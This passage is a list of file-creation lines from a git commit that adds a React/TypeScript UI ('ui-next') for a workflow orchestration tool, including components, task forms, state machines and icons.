100644 ui-next/src/components/ui/DataTable/types.ts create mode 100644 ui-next/src/components/ui/DateRangePicker.tsx create mode 100644 ui-next/src/components/ui/DiffEditor.tsx create mode 100644 ui-next/src/components/ui/DocLink.tsx create mode 100644 ui-next/src/components/ui/Error.tsx create mode 100644 ui-next/src/components/ui/FloatingMuiAlert.tsx create mode 100644 ui-next/src/components/ui/Header.tsx create mode 100644 ui-next/src/components/ui/Heading.tsx create mode 100644 ui-next/src/components/ui/LinearProgress.tsx create mode 100644 ui-next/src/components/ui/MuiAlert.tsx create mode 100644 ui-next/src/components/ui/MuiCheckbox.tsx create mode 100644 ui-next/src/components/ui/MuiTypography.tsx create mode 100644 ui-next/src/components/ui/NavLink.tsx create mode 100644 ui-next/src/components/ui/NoDataComponent.tsx create mode 100644 ui-next/src/components/ui/PanelAccordion.tsx create mode 100644 ui-next/src/components/ui/Paper.tsx create mode 100644 ui-next/src/components/ui/Puller.tsx create mode 100644 ui-next/src/components/ui/SnackbarMessage.tsx create mode 100644 ui-next/src/components/ui/SpinningIcon.tsx create mode 100644 ui-next/src/components/ui/StackTrace.tsx create mode 100644 ui-next/src/components/ui/StrikedText.tsx create mode 100644 ui-next/src/components/ui/SwaggerTestComponent.tsx create mode 100644 ui-next/src/components/ui/Tabs.tsx create mode 100644 ui-next/src/components/ui/TagChip.tsx create mode 100644 ui-next/src/components/ui/TagList.tsx create mode 100644 ui-next/src/components/ui/Text.tsx create mode 100644 ui-next/src/components/ui/TooltipStateless.tsx create mode 100644 ui-next/src/components/ui/TwoPanesDivider.tsx create mode 100644 ui-next/src/components/ui/UnderlinedText.tsx create mode 100644 ui-next/src/components/ui/buttons/ActionButton.tsx create mode 100644 ui-next/src/components/ui/buttons/ButtonGroup.jsx create mode 100644 ui-next/src/components/ui/buttons/ButtonTooltip.tsx create mode 100644 ui-next/src/components/ui/buttons/ConductorSplitButton.tsx create mode 100644 ui-next/src/components/ui/buttons/CustomButton.tsx create mode 100644 ui-next/src/components/ui/buttons/DropdownButton.tsx create mode 100644 ui-next/src/components/ui/buttons/MuiButton.tsx create mode 100644 ui-next/src/components/ui/buttons/MuiButtonGroup.tsx create mode 100644 ui-next/src/components/ui/buttons/MuiIconButton.tsx create mode 100644 ui-next/src/components/ui/buttons/SplitButton.jsx create mode 100644 ui-next/src/components/ui/date-time/ConductorDateRangePicker.tsx create mode 100644 ui-next/src/components/ui/date-time/ConductorDateTimePicker.tsx create mode 100644 ui-next/src/components/ui/date-time/ConductorSingleDateRangePicker.tsx create mode 100644 ui-next/src/components/ui/date-time/ConductorTimePicker.tsx create mode 100644 ui-next/src/components/ui/date-time/CustomDateRangePicker.scss create mode 100644 ui-next/src/components/ui/dialogs/ConfirmChoiceDialog.tsx create mode 100644 ui-next/src/components/ui/dialogs/Modal/ConfirmModal.tsx create mode 100644 ui-next/src/components/ui/dialogs/Modal/UnsavedChangesDialog.tsx create mode 100644 ui-next/src/components/ui/dialogs/Modal/commonStyles.ts create mode 100644 ui-next/src/components/ui/dialogs/TooltipModal.tsx create mode 100644 ui-next/src/components/ui/dialogs/UIModal.tsx create mode 100644 ui-next/src/components/ui/diff-editor.css create mode 100644 ui-next/src/components/ui/inputs/AutoCompleteWithDescription.tsx create mode 100644 ui-next/src/components/ui/inputs/CodeBlockInput.tsx create mode 100644 ui-next/src/components/ui/inputs/CodeBlockInputWrapper.tsx create mode 100644 ui-next/src/components/ui/inputs/ConductorArrayField.tsx create mode 100644 ui-next/src/components/ui/inputs/ConductorAutoComplete.tsx create mode 100644 ui-next/src/components/ui/inputs/ConductorAutoCompleteWithDescription.tsx create mode 100644 ui-next/src/components/ui/inputs/ConductorCheckbox.tsx create mode 100644 ui-next/src/components/ui/inputs/ConductorCodeBlockInput.tsx create mode 100644 ui-next/src/components/ui/inputs/ConductorEmptyGroupField.tsx create mode 100644 ui-next/src/components/ui/inputs/ConductorGroupContainer.tsx create mode 100644 ui-next/src/components/ui/inputs/ConductorGroupFieldTitle.tsx create mode 100644 ui-next/src/components/ui/inputs/ConductorInput.tsx create mode 100644 ui-next/src/components/ui/inputs/ConductorInputNumber.tsx create mode 100644 ui-next/src/components/ui/inputs/ConductorMultiSelect.tsx create mode 100644 ui-next/src/components/ui/inputs/ConductorSelect.tsx create mode 100644 ui-next/src/components/ui/inputs/ConductorStringArrayFormField.tsx create mode 100644 ui-next/src/components/ui/inputs/CopyClipboardButton.tsx create mode 100644 ui-next/src/components/ui/inputs/Dropdown.tsx create mode 100644 ui-next/src/components/ui/inputs/EditInPlace.tsx create mode 100644 ui-next/src/components/ui/inputs/EventExpressionHelp.tsx create mode 100644 ui-next/src/components/ui/inputs/FileUploadButton.tsx create mode 100644 ui-next/src/components/ui/inputs/HelperText.jsx create mode 100644 ui-next/src/components/ui/inputs/InlineEdit.tsx create mode 100644 ui-next/src/components/ui/inputs/Input.tsx create mode 100644 ui-next/src/components/ui/inputs/InputNumber.tsx create mode 100644 ui-next/src/components/ui/inputs/MultiOptionSelect.tsx create mode 100644 ui-next/src/components/ui/inputs/RadioButtonGroup.tsx create mode 100644 ui-next/src/components/ui/inputs/RoundedInput.tsx create mode 100644 ui-next/src/components/ui/inputs/Select.tsx create mode 100644 ui-next/src/components/ui/inputs/StringArrayFormField.tsx create mode 100644 ui-next/src/components/ui/inputs/SubmitFormWrapper.jsx create mode 100644 ui-next/src/components/ui/inputs/index.ts create mode 100644 ui-next/src/components/ui/layout/BaseLayout.tsx create mode 100644 ui-next/src/components/ui/layout/ConductorBreadcrumbs.tsx create mode 100644 ui-next/src/components/ui/layout/ConductorTabs.tsx create mode 100644 ui-next/src/components/ui/layout/HeadTabs.tsx create mode 100644 ui-next/src/components/ui/layout/SectionContainer.tsx create mode 100644 ui-next/src/components/ui/layout/SectionHeaderActions.tsx create mode 100644 ui-next/src/components/ui/react-hook-form/ReactHookFormCheckbox.test.tsx create mode 100644 ui-next/src/components/ui/react-hook-form/ReactHookFormCheckbox.tsx create mode 100644 ui-next/src/components/ui/react-hook-form/ReactHookFormDropdown.test.tsx create mode 100644 ui-next/src/components/ui/react-hook-form/ReactHookFormDropdown.tsx create mode 100644 ui-next/src/components/ui/react-hook-form/ReactHookFormEditor.tsx create mode 100644 ui-next/src/components/ui/react-hook-form/ReactHookFormInput.test.tsx create mode 100644 ui-next/src/components/ui/react-hook-form/ReactHookFormInput.tsx create mode 100644 ui-next/src/growthbook/MaybeGrowthbookProvider.tsx create mode 100644 ui-next/src/growthbook/growthbookInstance.ts create mode 100644 ui-next/src/growthbook/plugins.ts create mode 100644 ui-next/src/growthbook/useMaybeIdentifyGrowthbook.tsx create mode 100644 ui-next/src/images/401-Error.png create mode 100644 ui-next/src/images/svg/banner-icon.svg create mode 100644 ui-next/src/images/svg/c-plus-plus-logo.svg create mode 100644 ui-next/src/images/svg/c-sharp-logo.svg create mode 100644 ui-next/src/images/svg/discourse-logo.svg create mode 100644 ui-next/src/images/svg/email-not-verified.svg create mode 100644 ui-next/src/images/svg/go-lang-logo.svg create mode 100644 ui-next/src/images/svg/java-logo.svg create mode 100644 ui-next/src/images/svg/javascript-logo.svg create mode 100644 ui-next/src/images/svg/learning-window-test.svg create mode 100644 ui-next/src/images/svg/news.svg create mode 100644 ui-next/src/images/svg/orkes-icon.svg create mode 100644 ui-next/src/images/svg/orkes-logo.svg create mode 100644 ui-next/src/images/svg/playIcon.svg create mode 100644 ui-next/src/images/svg/python-logo.svg create mode 100644 ui-next/src/images/svg/slack-logo-transparent.svg create mode 100644 ui-next/src/images/svg/token.svg create mode 100644 ui-next/src/images/svg/user-not-found.svg create mode 100644 ui-next/src/images/svg/welcome-modal.svg create mode 100644 ui-next/src/index.css create mode 100644 ui-next/src/index.ts create mode 100644 ui-next/src/main.tsx create mode 100644 ui-next/src/pages/agent/AgentDefinitions.tsx create mode 100644 ui-next/src/pages/agent/AgentExecutions.tsx create mode 100644 ui-next/src/pages/agent/CreateAgentSdkModal.tsx create mode 100644 ui-next/src/pages/agent/Secrets.tsx create mode 100644 ui-next/src/pages/agent/Skills.tsx create mode 100644 ui-next/src/pages/agent/index.ts create mode 100644 ui-next/src/pages/agent/types.ts create mode 100644 ui-next/src/pages/apiDocs/ApiReferencePage.tsx create mode 100644 ui-next/src/pages/creatorFlags/CreatorFlags.tsx create mode 100644 ui-next/src/pages/definition/ConfirmDialog.tsx create mode 100644 ui-next/src/pages/definition/ConfirmLocalCopyDialog/ConfirmLocalCopyDialog.tsx create mode 100644 ui-next/src/pages/definition/ConfirmLocalCopyDialog/state/actions.ts create mode 100644 ui-next/src/pages/definition/ConfirmLocalCopyDialog/state/hook.ts create mode 100644 ui-next/src/pages/definition/ConfirmLocalCopyDialog/state/index.ts create mode 100644 ui-next/src/pages/definition/ConfirmLocalCopyDialog/state/machine.ts create mode 100644 ui-next/src/pages/definition/ConfirmLocalCopyDialog/state/service.ts create mode 100644 ui-next/src/pages/definition/ConfirmLocalCopyDialog/state/types.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/AssistantPanel.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/AssistantPanelHeader.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/CodeEditorTab/CodeTab.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/CodeEditorTab/MonacoDefinitionOverrides.scss create mode 100644 ui-next/src/pages/definition/EditorPanel/CodeEditorTab/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/CodeEditorTab/state/actions.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/CodeEditorTab/state/hook.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/CodeEditorTab/state/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/CodeEditorTab/state/machine.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/CodeEditorTab/state/types.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/ConfirmationDialogs.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/CustomTooltip.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/DependenciesTab/DependenciesTab.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/EditorPanel.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/EditorTabs.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/HeadActionButtons.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/RunWorkflowButton.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TabContent.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/TaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/TaskFormContent.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/TaskStats/CountBar.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/TaskStats/RangeButtons.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/TaskStats/TaskRateChart.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/TaskStats/TaskStats.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/TaskStats/state/actions.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/TaskStats/state/guards.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/TaskStats/state/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/TaskStats/state/machine.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/TaskStats/state/services.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/TaskStats/state/types.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/AgentTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ArrayForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/BusinessRuleForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/CallMcpToolTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/CancelAgentTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ChunkTextTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ConductorCacheOutputForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ConductorFlexibleAutoCompleteVariables.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ConductorObjectOrStringInput.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ConductorValueInput.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/DoWhileTaskForm/DoWhileCodeBlock.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/DoWhileTaskForm/DoWhileForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/DoWhileTaskForm/common.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/DoWhileTaskForm/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/DoWhileTaskForm/sampleScripts.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/DynamicForkOperatorForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/DynamicOperatorForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/EnforceSchemaForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/EventTaskForm/EventTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/EventTaskForm/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/FieldTypeDropdown.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/FlexibleAutoCompleteVariables.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/GRPCTaskForm/GRPCTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/GRPCTaskForm/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/GRPCTaskForm/types.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/GenerateAudioTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/GenerateImageTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/GeneratePdfTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/GenerateVideoTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/GetAgentCardTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/GetDocumentTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/GetSignedJwtForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/GetWorkflowTaskForm/GetWorkflowTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/GetWorkflowTaskForm/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/HTTPTaskForm/ConductorAdditionalHeaders.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/HTTPTaskForm/EditTaskDefConfigModal.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/HTTPTaskForm/Encode.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/HTTPTaskForm/HTTPPollTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/HTTPTaskForm/HTTPTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/HTTPTaskForm/common.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/HTTPTaskForm/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/HTTPTaskForm/state/actions.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/HTTPTaskForm/state/helper.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/HTTPTaskForm/state/hook.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/HTTPTaskForm/state/machine.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/HTTPTaskForm/state/services.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/HTTPTaskForm/state/types.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/HTTPTaskForm/types.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/HedgingConfigForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/INLINETaskForm/INLINETaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/INLINETaskForm/InlineCodeBlock.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/INLINETaskForm/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JDBCTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JOINTaskForm/JOINTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JOINTaskForm/JoinCodeBlock.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JOINTaskForm/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JSONField.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JSONJQTransformForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/KafkaTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMChainTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMChatCompleteTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/ConductorArrayMapForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/LLMFormFields.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/LLMFormFieldsWrapper.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/actions.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/machine.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/services.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/types.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMGenerateEmbeddingsTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMGetEmbeddingsTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMIndexDocumentTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMIndexTextTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMSearchEmbeddingsTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMSearchIndexTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMStoreEmbeddingsTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMTextCompleteTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ListFilesTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ListMcpToolsTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/MCPTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/MaybeVariable.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/OpsGenieTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/OptionalFieldForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ParseDocumentTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/QueryProcessorTaskForm/MetricsTypeForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/QueryProcessorTaskForm/QueryProcessorTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/QueryProcessorTaskForm/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/RateLimitConfigForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SchemaForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SendgridForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ServiceRegistrySelector.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SetVariableOperatorForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskForm/SampleCode.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskForm/SimpleTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskForm/TemplateKeys.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskForm/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskNameInput.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/StartWorkflowTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/actions.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/hook.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/machine.test.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/machine.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/service.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/types.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SubWorkflowOperatorForm/SubWorkflowOperatorForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SubWorkflowOperatorForm/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SubWorkflowOperatorForm/types.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SwitchTaskForm/SwitchCodeBlock.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SwitchTaskForm/SwitchOperatorForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SwitchTaskForm/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormFooter.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/TaskFormHeader.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/TaskFormHeaderSimple.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/TaskFormHeaderTasks.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/actions.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/hook.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/machine.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/types.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormSection.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormStyles.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TerminateOperatorForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TerminateWorkflowForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/OpenTestTaskButton.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/TestTaskButton.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/actions.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/hook.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/machine.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/service.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/types.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UnknownTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateSecretForm/UpdateSecretTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateSecretForm/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/UpdateTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/UpdateTaskFromEvent.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/common.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/UpdateTaskForm/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitForWebhookForm/WaitForWebhookTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitForWebhookForm/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/DurationWaitTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/SelectWaitType.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/UntilWaitTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/WaitTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/helpers.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/WaitTaskForm/types.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/YieldTaskForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/editorConfig.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/hooks/useSchemaFormHandler.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/hooks/useTaskForm.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/maybeVariableHOC.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/types.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/useGetSetHandler.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/helpers.test.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/helpers.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/TaskFormContext/TaskFormContext.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/TaskFormContext/TaskFormProvider.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/TaskFormContext/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/TaskFormContext/types.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/actions.ts create mode 100644 